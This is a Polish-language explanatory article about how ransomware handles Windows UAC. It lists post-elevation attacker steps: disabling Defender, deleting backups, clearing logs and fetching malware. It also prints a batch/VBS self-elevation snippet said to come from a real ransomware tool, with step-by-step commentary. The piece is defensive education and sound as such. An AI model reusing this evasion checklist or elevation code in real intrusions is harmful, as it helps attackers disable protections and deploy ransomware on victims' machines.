Jak wirusy radzą sobie z mechanizmem UAC?

Ale od początku. Czym adekwatnie jest UAC? Jest to dodane jeszcze w Windows Vista zabezpieczenie polegające w uproszczeniu na tym, iż użytkownik Windows, niezależnie od posiadanych uprawnień, aby móc np. zainstalować na komputerze jakiś program czy sterownik, musi przejść proces specjalnej weryfikacji i tzw. elewacji uprawnień.

Proces ten wygląda najczęściej podobnie do powyższego zdjęcia, a więc ma postać okienka przysłaniającego cały ekran, z kilkoma najważniejszymi informacjami i pytaniem, czy pozwolić na uruchomienie podanego programu. Przy czym o ile dla użytkownika wygląda to bardzo prosto, pod spodem UAC jest dość skomplikowany:

Dlaczego UAC przeszkadza wirusom?

Przede wszystkim oczywiście dlatego, iż ogranicza uprawnienia zalogowanego użytkownika, a więc i potencjalną skalę szerzenia się wirusa - tzn. choćby użytkownik mający prawa administratora, bez elewacji uprawnień efektywnie może bardzo kilka więcej od "zwykłego" użytkownika.

Po drugie, mechanizm UAC został zaprojektowany w taki sposób, aby przerywać komunikację pomiędzy procesami o zwykłych i podniesionych uprawnieniach, jak również samym mechanizmem elewacji uprawnień, na wszelkich możliwych płaszczyznach:

• po elewacji uprawnień, proces potomny żyje już własnym życiem i komunikacja w którąkolwiek stronę możliwa jest wyłącznie za pośrednictwem użytkownika (którego trzeba do tego jakoś nakłonić)
• ani wirus, ani włamywacz kontrolujący komputer dzięki mechanizmów działających wyłącznie w tle (czyli np. po włamaniu na usługę sieciową typu IIS, Exchange, SQL Server itp.), nie ma żadnej możliwości interakcji z oknem UAC (i np. kliknięcia "Tak" w sposób zautomatyzowany)

Co z oczywistych względów podnosi poprzeczkę dla potencjalnych włamywaczy: nie wystarczy już wykorzystać podatności typu "buffer overflow" w jakiejś usłudze sieciowej, aby następnie wystawić z niej sobie połączenie do terminala tekstowego...

Co więc można zrobić z UAC?

Przede wszystkim, poziomem "dolegliwości" UAC można dowolnie sterować, zarówno z poziomu lokalnych ustawień, jak i GPO, a więc z poziomu Active Directory. Zaś w Windows 10 można ten poziom obniżać lub podwyższać nie tylko globalnie, ale również w zależności od lokalizacji programu, który usiłuje dokonać elewacji uprawnień. Wszystko zostało świetnie opisane w tym artykule.

Opisane tam techniki mają jednak efekt uboczny: Windows 10 będzie na różne sposoby informował użytkownika, iż jego poszczególne zabezpieczenia zostały wyłączone. A samo wyłączenie UAC również wymaga wcześniejszej elewacji uprawnień.

Z tego powodu, jeśli napastnik zdołał już przejąć interaktywny dostęp do komputera (tj. do ekranu graficznego), a chce utrzymać ten dostęp jak najdłużej w tajemnicy, całkowite wyłączanie UAC nie będzie dobrym pomysłem. Dużo lepszym pomysłem będzie automatyzacja narzędzi w taki sposób, aby:

• konieczność elewacji uprawnień wystąpiła tylko raz
• bezpośrednio po elewacji uprawnień zostały wykonane "dyskretniejsze" zmiany w systemie, np.:
  • deaktywacja Windows Defendera, filtra SmartScreen i paru innych usług
  • dodanie własnych wyjątków do firewalla
  • dodanie własnego CA do magazynu certyfikatów
  • usunięcie lub uszkodzenie backupów (VSS i innych)
  • wyczyszczenie Event Loga
  • aż wreszcie ściągnięcie i uruchomienie adekwatnego wirusa lub innego programu, którego dyskretne uruchomienie jest celem włamania
• całość mogła zostać wykonana w ramach jak najkrótszego połączenia (najlepiej poniżej 2-3 minut, a już koniecznie poniżej 5 minut)
• po tych zmianach, kolejne elewacje uprawnień nie były już potrzebne - a więc aby włamywacz mógł kontynuować swoją "pracę z komputerem" z poziomu sesji tekstowej, kompletnie niewidocznej dla prawowitego użytkownika

Oczywiście są też 0-daye...

Powyższy schemat opisuje najprostszy i najpopularniejszy w praktyce scenariusz, w którym atakujący w ten lub inny sposób zdobywa dostęp interaktywny:

• przez Zdalny Pulpit (RDP):
  • kupując dane dostępowe z jakiegoś wycieku
  • samodzielnie wykradając te dane z serwerów RDP, lub z komputerów klientów, dzięki narzędzi typu Mimikatz lub Procdump
  • wykorzystując jedną ze znanych podatności (np. EsteemAudit z 2017, czy BlueKeep z 2019)
• przez TeamViewera, AnyDesk lub inne rozwiązanie do połączeń ad hoc
• czy choćby przez komunikator typu Zoom czy Teams, z jednokierunkowym udostępnianiem ekranu, dodatkowo "opakowując" swoje rozwiązanie np. w jakiś instalator lub inny mechanizm, a następnie nakłoni użytkownika do jego pobrania i uruchomienia

Oprócz powyższego scenariusza istnieje jeszcze drugi, dużo bardziej "ekskluzywny" i używany do atakowania naprawdę ważnych celów, w przypadku których np. wchodzi w grę "czynnik polityczny" albo terroryzm na większą skalę - są tzw. 0-daye, czyli ataki na podatności w oprogramowaniu znane tylko atakującemu i czasem producentowi danego systemu (względnie też 1-daye, czyli podatności, dla których łaty zostały świeżo opublikowane i niekoniecznie wszyscy zdążyli je już zainstalować).

W praktyce jednak więcej się o takich atakach mówi, niż je faktycznie robi:

• prezentacja na DefCon25 z 2017 (oraz załączniki do niej)
• stary exploit z 2010, omijający UAC i nie tylko
• dużo nowsze opracowanie od polskiej firmy CQURE
• MITRE ATT&CK dokumentuje więcej przypadków praktycznego ominięcia UAC - jak widać, prawie wszystkie udokumentowane przypadki dotyczą albo "state sponsored actors", albo najbardziej "ekskluzywnych" programów ransomware, atakujących tylko starannie wyselekcjonowane firmy
• zdarzają się też podejścia wykorzystujące tzw. LOLBINs, czyli pliki wbudowane w Windows (a więc których atakujący nie musiał w żaden sposób podrzucać, bo już były na miejscu) - np. przeglądarka logów systemowych eventvwr.exe

Ataki takie mają bowiem dwie wspólne wady:

• atak z użyciem każdego nowego narzędzia tego typu oznacza jego "spalenie" - niekoniecznie w ciągu najbliższych godzin czy dni, ale wcześniej czy później narzędzie to "nagle" zacznie być wykrywane przez różne programy antywirusowe
• pozyskiwanie nowych podatności jest bardzo drogie - ceny w serwisach typu Zerodium potrafią dochodzić choćby do 10 milionów złotych (w zależności od typu błędu, platformy itp.)

Z tego powodu dużo bardziej powszechne są ataki "klasyczne", w których ma miejsce przynajmniej jedno kliknięcie "Tak" przez atakującego lub samego użytkownika. I taki właśnie kod za chwilę opiszemy.

Więc jak to robi realny wirus?

Omówione niżej linie kodu to kopia 1:1 skryptu będącego częścią realnego rozwiązania ransomware. Prześledźmy więc, w jaki sposób prawdziwe ransomware po kolei:

• sprawdza, czy przypadkiem już nie posiada odpowiednich uprawnień - jeżeli je ma, po prostu przechodzi dalej
• jeśli ich nie ma, tworzy tymczasowy skrypt VBS, odpowiadający za adekwatny proces elewacji, uruchamia go, a następnie usuwa
• nowo uruchomiona instancja skryptu ponownie sprawdza, czy ma odpowiednie uprawnienia - tym razem oczywiście je ma, więc przechodzi dalej, wracając do pierwotnego katalogu roboczego i uruchamiając dalszą część kodu

1. Test uprawnień - wirus uruchamia program, który uruchomiony bez elewacji uprawnień rzuci błędem. Jednocześnie sam komunikat błędu jest ukrywany - istotny jest tylko kod wyjścia z programu:

>nul 2>&1 "%systemroot%\System32\cacls.exe" "%systemroot%\System32\config\system"

2. Sprawdzenie wyniku - kod wyjścia ostatnio uruchomionego programu trafia do zmiennej %errorlevel%, wirus sprawdza więc, czy był zerowy (sukces, wirus ma już uprawnienia), czy nie (błąd - ogólnie różne kody mogą wskazywać na różne problemy, ale w tym konkretnym przypadku jest to po prostu brak uprawnień):

if '%errorlevel%' NEQ '0' ( goto UACPrompt ) else ( goto gotAdmin )

3. Nie ma uprawnień - wirus tworzy w katalogu tymczasowym skrypt VBS. Fragment %~s0 z poniższego przykładu zostanie w tym skrypcie zamieniony na pełną nazwę skryptu BAT (wraz ze ścieżką).

:UACPrompt
echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
set params = %*:"="
echo UAC.ShellExecute "cmd.exe", "/c %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"

Utworzony skrypt VBS wygląda następująco:

Set UAC = CreateObject("Shell.Application")
UAC.ShellExecute "cmd.exe", "/c C:\Users\admin\Desktop\test.bat ", "", "runas", 1

4. Skrypt VBS zostaje następnie uruchomiony i usunięty, po czym pierwotna instancja wirusa kończy działanie:

"%temp%\getadmin.vbs"
del "%temp%\getadmin.vbs"
exit /B

5. Natomiast instancja, która została uruchomiona po elewacji uprawnień, przywraca sobie oryginalny katalog roboczy (który przez UAC został zmieniony na %systemroot%\System32 - ma to chronić nowo uruchamiany proces przed próbą wczytania bibliotek DLL ze starego katalogu):

:gotAdmin
pushd "%CD%"
CD /D "%~dp0"

6. Teraz skrypt może przejść do kolejnych etapów instalacji wirusa - testowo zamiast tego możemy sobie wyświetlić uprawnienia użytkownika po elewacji i poczekać z zamknięciem konsoli na działanie użytkownika:

echo "mam uprawnienia"
whoami
pause

Podsumowanie

Powyższy kod pochodzi z narzędzia Defeat-Defender, które (w nieco pozmienianej postaci) realny włamywacz pozostawił na komputerze realnemu klientowi serwisu Ransomware.pl.

Skrypt ten jest prosty, skuteczny i co najważniejsze, przenośny - powinien prawidłowo zadziałać na każdej wersji Windows wydanej od roku 2006 (z wyjątkiem jedynie Windows 10S, z oczywistych względów).

W kolejnych artykułach skupimy się na kolejnych funkcjonalnościach wirusów, jakie udało nam się pozyskać z uratowanych komputerów. A tymczasem kod źródłowy wszystkich omówionych dotychczas części znajdziesz pod tym adresem.

Intencją autorów ani wydawcy treści prezentowanych w magazynie PAYLOAD nie jest namawianie bądź zachęcanie do łamania prawa. jeżeli popełniłeś lub masz zamiar popełnić przestępstwo, bądź masz wątpliwości, czy Twoje działania nie będą łamać prawa, powinieneś skonsultować się z najbliższą jednostką Policji lub Prokuratury, a jeżeli są one związane z pieniędzmi, dla pewności również z Urzędem Skarbowym.

Nie zezwala się na użycie treści prezentowanych w magazynie PAYLOAD, ani produktów dostępnych w sklepie PAYLOAD, do celów popełniania przestępstw lub przestępstw skarbowych.